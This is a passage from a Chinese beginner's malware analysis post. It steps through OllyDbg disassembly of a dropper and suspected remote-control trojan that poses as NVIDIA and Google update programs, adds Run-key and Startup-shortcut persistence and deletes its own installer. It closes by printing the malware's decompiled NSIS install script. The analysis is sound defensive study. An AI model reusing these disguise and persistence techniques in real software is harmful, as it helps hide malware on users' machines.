创建进程,运行它
Call内代码如下:
代码:
[Asm] 纯文本查看 复制代码
004053C6 /$ 55 PUSH EBP
004053C7 |. 8BEC MOV EBP,ESP
004053C9 |. 83EC 10 SUB ESP,0x10
004053CC |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-0x10]
004053CF |. C705 A8244200>MOV DWORD PTR DS:[0x4224A8],0x44
004053D9 |. 50 PUSH EAX ; /pProcessInfo
004053DA |. 33C0 XOR EAX,EAX ; |
004053DC |. 68 A8244200 PUSH 2E668293.004224A8 ; |pStartupInfo = 2E668293.004224A8
004053E1 |. 50 PUSH EAX ; |CurrentDir => NULL
004053E2 |. 50 PUSH EAX ; |pEnvironment => NULL
004053E3 |. 50 PUSH EAX ; |CreationFlags => 0
004053E4 |. 50 PUSH EAX ; |InheritHandles => FALSE
004053E5 |. 50 PUSH EAX ; |pThreadSecurity => NULL
004053E6 |. 50 PUSH EAX ; |pProcessSecurity => NULL
004053E7 |. FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; |CommandLine
004053EA |. 50 PUSH EAX ; |ModuleFileName => NULL
004053EB |. FF15 D0704000 CALL DWORD PTR DS:[<&KERNEL32.Create>; \CreateProcessA
004053F1 |. 85C0 TEST EAX,EAX
004053F3 |. 74 0C JE SHORT 2E668293.00405401
004053F5 |. FF75 F4 PUSH DWORD PTR SS:[EBP-0xC] ; /hObject
004053F8 |. FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle
004053FE |. 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-0x10]
00405401 |> C9 LEAVE
00405402 \. C2 0400 RETN 0x4
运行后的程序如下图:
随后的代码中,直接关闭其句柄了:
代码:
[Asm] 纯文本查看 复制代码
00401E87 |> \FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; /hObject
00401E8A |> FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle
接着其创建注册表,操作过程用 可以查看到:
代码:
[Asm] 纯文本查看 复制代码
00402328 |. 53 PUSH EBX ; /pDisposition
00402329 |. 51 PUSH ECX ; |pHandle
0040232A |. 8B0D 503F4200 MOV ECX,DWORD PTR DS:[0x423F50] ; |
00402330 |. 83C9 02 OR ECX,0x2 ; |
00402333 |. 53 PUSH EBX ; |pSecurity
00402334 |. 51 PUSH ECX ; |Access
00402335 |. 53 PUSH EBX ; |Options
00402336 |. 53 PUSH EBX ; |Class
00402337 |. 53 PUSH EBX ; |Reserved
00402338 |. 50 PUSH EAX ; |SubKey="Software\Microsoft\Windows\CurrentVersion\Run"
00402339 |. 57 PUSH EDI ; |hKey=HKEY_CURRENY_USER
0040233A |. C745 FC 01000>MOV DWORD PTR SS:[EBP-0x4],0x1 ; |
00402341 |. FF15 20704000 CALL DWORD PTR DS:[<&ADVAPI32.RegCre>; \RegCreateKeyExA
紧接着会出现设置注册表的键值
代码:
[Asm] 纯文本查看 复制代码
0040238E |> \50 PUSH EAX ; /BufSize=95
0040238F |. 57 PUSH EDI ; |Buffer="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
00402390 |. FF75 D0 PUSH DWORD PTR SS:[EBP-0x30] ; |ValueType = REG_SZ
00402393 |. 53 PUSH EBX ; |Rserved = 0x0
00402394 |. FF75 BC PUSH DWORD PTR SS:[EBP-0x44] ; |ValueName = "NvUpdService"
00402397 |. FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; |hKey = OxDC
0040239A |. FF15 04704000 CALL DWORD PTR DS:[<&ADVAPI32.RegSet>; \RegSetValueExA
监控的操作为:
紧接着关闭注册表:
代码:
[Asm] 纯文本查看 复制代码
0040247C |> \57 PUSH EDI ; /hKey
0040247D |> FF15 1C704000 CALL DWORD PTR DS:[<&ADVAPI32.RegClo>; \RegCloseKey
继续跟进,会发现在C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update中创建一个空目录,
代码:
[Asm] 纯文本查看 复制代码
004015D2 |. 53 |PUSH EBX ; /pSecurity=0
004015D3 |. 57 |PUSH EDI ; |Path = "C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update"
004015D4 |. 8A06 |MOV AL,BYTE PTR DS:[ESI] ; |
004015D6 |. 881E |MOV BYTE PTR DS:[ESI],BL ; |
004015D8 |. 8845 0B |MOV BYTE PTR SS:[EBP+0xB],AL ; |
004015DB |. FF15 80704000 |CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateDirectoryA
然后调用SHFileOperationA函数来复制d83665e11921a3e0525e1d4d9e1d04f1.exe并重命名为gupdate.exe:
代码:
[Asm] 纯文本查看 复制代码
004021CC |. 50 PUSH EAX ; /Arg2
004021CD |. 53 PUSH EBX ; |Arg1
004021CE |. 8975 A4 MOV DWORD PTR SS:[EBP-0x5C],ESI ; |
004021D1 |. 897D A8 MOV DWORD PTR SS:[EBP-0x58],EDI ; |
004021D4 |. 8945 B6 MOV DWORD PTR SS:[EBP-0x4A],EAX ; |
004021D7 |. 66:894D AC MOV WORD PTR SS:[EBP-0x54],CX ; |
004021DB |. E8 242D0000 CALL 2E668293.00404F04 ; \2E668293.00404F04
004021E0 |. 8D45 9C LEA EAX,DWORD PTR SS:[EBP-0x64]
004021E3 |. 50 PUSH EAX
004021E4 |. FF15 60714000 CALL DWORD PTR DS:[<&SHELL32.SHFileO>; shell32.SHFileOperationA (把d83665e11921a3e0525e1d4d9e1d04f1.exe复制到\Application Data\Google\Update目录下 并把程序名改为gupdate.exe)
紧接着给gupdate.exe创建注册表,代码如下:
代码:
[Asm] 纯文本查看 复制代码
00402328 |. 53 PUSH EBX ; /pDisposition
00402329 |. 51 PUSH ECX ; |pHandle
0040232A |. 8B0D 503F4200 MOV ECX,DWORD PTR DS:[0x423F50] ; |
00402330 |. 83C9 02 OR ECX,0x2 ; |
00402333 |. 53 PUSH EBX ; |pSecurity
00402334 |. 51 PUSH ECX ; |Access
00402335 |. 53 PUSH EBX ; |Options
00402336 |. 53 PUSH EBX ; |Class
00402337 |. 53 PUSH EBX ; |Reserved
00402338 |. 50 PUSH EAX ; |SubKey="Software\Microsoft\Windows\CurrentVersion\Run"
00402339 |. 57 PUSH EDI ; |hKey=HKEY_CURRENY_USER
0040233A |. C745 FC 01000>MOV DWORD PTR SS:[EBP-0x4],0x1 ; |
00402341 |. FF15 20704000 CALL DWORD PTR DS:[<&ADVAPI32.RegCre>; \RegCreateKeyExA
接着设置其注册表的键值,代码如下:
代码:
[Asm] 纯文本查看 复制代码
0040238E |> \50 PUSH EAX ; /BufSize=95
0040238F |. 57 PUSH EDI ; |Buffer="C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update\gupdate.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
00402390 |. FF75 D0 PUSH DWORD PTR SS:[EBP-0x30] ; |ValueType = REG_SZ
00402393 |. 53 PUSH EBX ; |Rserved = 0x0
00402394 |. FF75 BC PUSH DWORD PTR SS:[EBP-0x44] ; |ValueName = "Google Update"
00402397 |. FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; |hKey = OxDC
0040239A |. FF15 04704000 CALL DWORD PTR DS:[<&ADVAPI32.RegSet>; \RegSetValueExA
接下来就是关闭注册表:
代码:
[Asm] 纯文本查看 复制代码
0040247C |> \57 PUSH EDI ; /hKey
0040247D |> FF15 1C704000 CALL DWORD PTR DS:[<&ADVAPI32.RegClo>; \RegCloseKey
更换了目录,对C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows目录操作
代码:
[Asm] 纯文本查看 复制代码
004015D2 |. 53 |PUSH EBX ; /pSecurity
004015D3 |. 57 |PUSH EDI ; |Path = "C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows"
004015D4 |. 8A06 |MOV AL,BYTE PTR DS:[ESI] ; |
004015D6 |. 881E |MOV BYTE PTR DS:[ESI],BL ; |
004015D8 |. 8845 0B |MOV BYTE PTR SS:[EBP+0xB],AL ; |
004015DB |. FF15 80704000 |CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateDirectoryA
调用SHFileOperationA函数来复制d83665e11921a3e0525e1d4d9e1d04f1.exe并重命名为winupdate.exe:
代码:
[Asm] 纯文本查看 复制代码
004021CC |. 50 PUSH EAX ; /Arg2
004021CD |. 53 PUSH EBX ; |Arg1
004021CE |. 8975 A4 MOV DWORD PTR SS:[EBP-0x5C],ESI ; |
004021D1 |. 897D A8 MOV DWORD PTR SS:[EBP-0x58],EDI ; |
004021D4 |. 8945 B6 MOV DWORD PTR SS:[EBP-0x4A],EAX ; |
004021D7 |. 66:894D AC MOV WORD PTR SS:[EBP-0x54],CX ; |
004021DB |. E8 242D0000 CALL 2E668293.00404F04 ; \2E668293.00404F04
004021E0 |. 8D45 9C LEA EAX,DWORD PTR SS:[EBP-0x64]
004021E3 |. 50 PUSH EAX
004021E4 |. FF15 60714000 CALL DWORD PTR DS:[<&SHELL32.SHFileO>; shell32.SHFileOperationA (把d83665e11921a3e0525e1d4d9e1d04f1.exe复制到\Application Data\Microsoft\Windows目录下 并把程序名改为winupdate.exe)
把其中的一个字符串装换为宽字符:
代码:
[Asm] 纯文本查看 复制代码
0040211B |. 68 00040000 PUSH 0x400 ; /WideBufSize = 400 (1024.)
00402120 |. 56 PUSH ESI ; |WideCharBuf => 2E668293.00409368
00402121 |. 6A FF PUSH -0x1 ; |StringSize = FFFFFFFF (-1.)
00402123 |. FF75 D0 PUSH DWORD PTR SS:[EBP-0x30] ; |StringToMap = "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\winupdate.lnk"
00402126 |. BF 05400080 MOV EDI,0x80004005 ; |
0040212B |. 53 PUSH EBX ; |Options
0040212C |. 53 PUSH EBX ; |CodePage
0040212D |. FF15 1C714000 CALL DWORD PTR DS:[<&KERNEL32.MultiB>; \MultiByteToWideChar
紧接着去搜索C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"
代码:
[Asm] 纯文本查看 复制代码
00405527 |. 50 PUSH EAX ; /pFindFileData
00405528 |. 56 PUSH ESI ; |FileName="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"
00405529 |. 03DF ADD EBX,EDI ; |
0040552B |. FF15 40714000 CALL DWORD PTR DS:[<&KERNEL32.FindFi>; \FindFirstFileA
然后就自己调用MoveFileA函数来重命名程序了,
代码:
[Asm] 纯文本查看 复制代码
0040165E |. 57 PUSH EDI ; /NewName = "C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"
0040165F |. 56 PUSH ESI ; |ExistingName = "C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\d83665e11921a3e0525e1d4d9e1d04f1.exe"
00401660 |. FF15 70704000 CALL DWORD PTR DS:[<&KERNEL32.MoveFi>; \MoveFileA
执行完上面代码后,则出现下图情况:
继续跟入,我们会发现,程序创建进程直接运行起daemonupd.exe
代码:
[Asm] 纯文本查看 复制代码
004053D9 |. 50 PUSH EAX ; /pProcessInfo
004053DA |. 33C0 XOR EAX,EAX ; |
004053DC |. 68 A8244200 PUSH 2E668293.004224A8 ; |pStartupInfo = 2E668293.004224A8
004053E1 |. 50 PUSH EAX ; |CurrentDir => NULL
004053E2 |. 50 PUSH EAX ; |pEnvironment => NULL
004053E3 |. 50 PUSH EAX ; |CreationFlags => 0
004053E4 |. 50 PUSH EAX ; |InheritHandles => FALSE
004053E5 |. 50 PUSH EAX ; |pThreadSecurity => NULL
004053E6 |. 50 PUSH EAX ; |pProcessSecurity => NULL
004053E7 |. FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; |CommandLine = ""C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe" /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
004053EA |. 50 PUSH EAX ; |ModuleFileName => NULL
004053EB |. FF15 D0704000 CALL DWORD PTR DS:[<&KERNEL32.Create>; \CreateProcessA
关闭句柄,代码如下:
代码:
[Asm] 纯文本查看 复制代码
00402753 |> \FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; /hObject
00402756 |. FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle
继续搜索以前的原有程序d83665e11921a3e0525e1d4d9e1d04f1.exe是否存在
代码:
[Asm] 纯文本查看 复制代码
00405521 |. 8D85 B8FEFFFF LEA EAX,DWORD PTR SS:[EBP-0x148]
00405527 |. 50 PUSH EAX ; /pFindFileData
00405528 |. 56 PUSH ESI ; |FileName="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\d83665e11921a3e0525e1d4d9e1d04f1.exe"
00405529 |. 03DF ADD EBX,EDI ; |
0040552B |. FF15 40714000 CALL DWORD PTR DS:[<&KERNEL32.FindFi>; \FindFirstFileA
继续检查2E6682932F826269B0F84A93AAB9E609.85A681D7是否存在,代用代码和上面一样
接着调用DeleteFileA来删除母体程序,由于我用OD已经加载了,所以删除失败,正常是可以自己删除母体程序的
代码:
[Asm] 纯文本查看 复制代码
004055A0 |. 57 |PUSH EDI ; /FileName
004055A1 |. FF15 44714000 |CALL DWORD PTR DS:[<&KERNEL32.Delet>; \DeleteFileA
后面的代码都是对2B42CDC8B1EDBFEC23AA442F8F7EF3D9操作的,搜索目录、终止进程、关闭句柄,因为我用OD加载了 所以无法对其操作!
其代码如下:
代码:
[Asm] 纯文本查看 复制代码
004055D3 |> \8D85 B8FEFFFF |LEA EAX,DWORD PTR SS:[EBP-0x148]
004055D9 |. 50 |PUSH EAX ; /pFindFileData
004055DA |. FF75 08 |PUSH DWORD PTR SS:[EBP+0x8] ; |hFile
004055DD |. FF15 3C714000 |CALL DWORD PTR DS:[<&KERNEL32.FindN>; \FindNextFileA
004055E3 |. 85C0 |TEST EAX,EAX
004055E5 |.^ 0F85 52FFFFFF \JNZ 2E668293.0040553D
004055EB |. FF75 08 PUSH DWORD PTR SS:[EBP+0x8] ; /hSearch
004055EE |. FF15 38714000 CALL DWORD PTR DS:[<&KERNEL32.FindCl>; \FindClose
……………………………………………………………………………………………………
004035AF |. 894424 18 MOV DWORD PTR SS:[ESP+0x18],EAX
004035B3 |> FF7424 18 PUSH DWORD PTR SS:[ESP+0x18] ; /ExitCode
004035B7 \. FF15 A4704000 CALL DWORD PTR DS:[<&KERNEL32.ExitPr>; \ExitProcess
004035BD /$ A1 14904000 MOV EAX,DWORD PTR DS:[0x409014]
004035C2 |. 56 PUSH ESI
004035C3 |. 8B35 EC704000 MOV ESI,DWORD PTR DS:[<&KERNEL32.Clo>; kernel32.CloseHandle
004035C9 |. 83F8 FF CMP EAX,-0x1
004035CC |. 74 0A JE SHORT 2E668293.004035D8
004035CE |. 50 PUSH EAX ; /hObject => FFFFFFFF
004035CF |. FFD6 CALL ESI ; \CloseHandle
……………………………………………………………………………………………………
五、 继续分析daemonup.exe文件
用OD加载的时候会显示数据被压缩过,可能是加了某种壳吧!打乱了所有的顺序,用“删除模块分析”都没什么反应 ,由于水平有限暂到这里吧
我们会发现无法正常双击去运行它,然后我又重新让母体程序运行起来,用Process Monitor会发现如下的情况
应该是一个远控木马程序,因为它不停的发包和接包!
六、 带着好奇心打开NSIS文件
1、弄玩上面的,又百度了一下NSIS,在卡饭论坛上看到有这样的回答,说是可以用7z-zip解压一些文件,于是在虚拟机中我用7z解压打开了母体程序。我一个朋友也解压出来了,然后也跟着试试!看到如下信息:
暂时百度后只知道nsis是执行脚本。
结合图一和图6,我们可以看到图6中的exe在图一中都没显示过,初步估计是操作很快,人眼无法识别出来,但是在我们动态调试的时候,显示有!
2、以文本文档的方式打开[NSIS].nsi文件,我们会发现正如百度知道所说,这里面全部是一些操作文件、注册表等的代码,部分代码如下:
代码:
[Asm] 纯文本查看 复制代码
Exec "$\"$INSTDIR\daemonupd.exe$\" /exit 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $_0_
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $_4_
Sleep 1000
Delete $INSTDIR\daemonupd.exe
Delete $SMSTARTUP\$_2_.lnk
Delete $LOCALAPPDATA\Microsoft\Windows\$_2_.exe
Delete $LOCALAPPDATA\$_1_\$_3_.exe
Quit
label_61:
File d83665e11921a3e0525e1d4d9e1d04f1.exe
Exec "$\"$INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe$\" /exit 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
Sleep 2000
WriteRegStr HKCU Software\Microsoft\Windows\CurrentVersion\Run $_0_ "$INSTDIR\daemonupd.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
CreateDirectory $LOCALAPPDATA\$_1_
CopyFiles /SILENT $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $LOCALAPPDATA\$_1_\$_3_.exe ; $(LSTR_7)$LOCALAPPDATA\$_1_\$_3_.exe ; "Copy to "
WriteRegStr HKCU Software\Microsoft\Windows\CurrentVersion\Run $_4_ "$LOCALAPPDATA\$_1_\$_3_.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
CreateDirectory $LOCALAPPDATA\Microsoft\Windows
CopyFiles /SILENT $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $LOCALAPPDATA\Microsoft\Windows\$_2_.exe ; $(LSTR_7)$LOCALAPPDATA\Microsoft\Windows\$_2_.exe ; "Copy to "
CreateShortCut $SMSTARTUP\$_2_.lnk $LOCALAPPDATA\Microsoft\Windows\$_2_.exe "/app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
Delete $INSTDIR\daemonupd.exe
Rename /REBOOTOK $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $INSTDIR\daemonupd.exe ; $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe->$INSTDIR\daemonupd.exe
Exec "$\"$INSTDIR\daemonupd.exe$\" /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"
Delete $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe
Delete /REBOOTOK $EXEPATH
因为之前用OD调试过,会发现母体程序基本都是按照此代码来操作注册表和文件等的
好了,分析报告就到这里吧!
因为自己没有分析病毒的经验,也就是自己一步一步的跟进去找到相关的call去理解的!
第一次写这样的文档,也不是文科生,叙述没有条理,有些混乱!大家凑合看吧!有错误的地方也希望大家能指正,我也能多学习学习!
以后我会边工作边研究,也会把自己分析过的一些病毒分析出来,希望自己能对和我一样是纯小白的人有点帮助吧!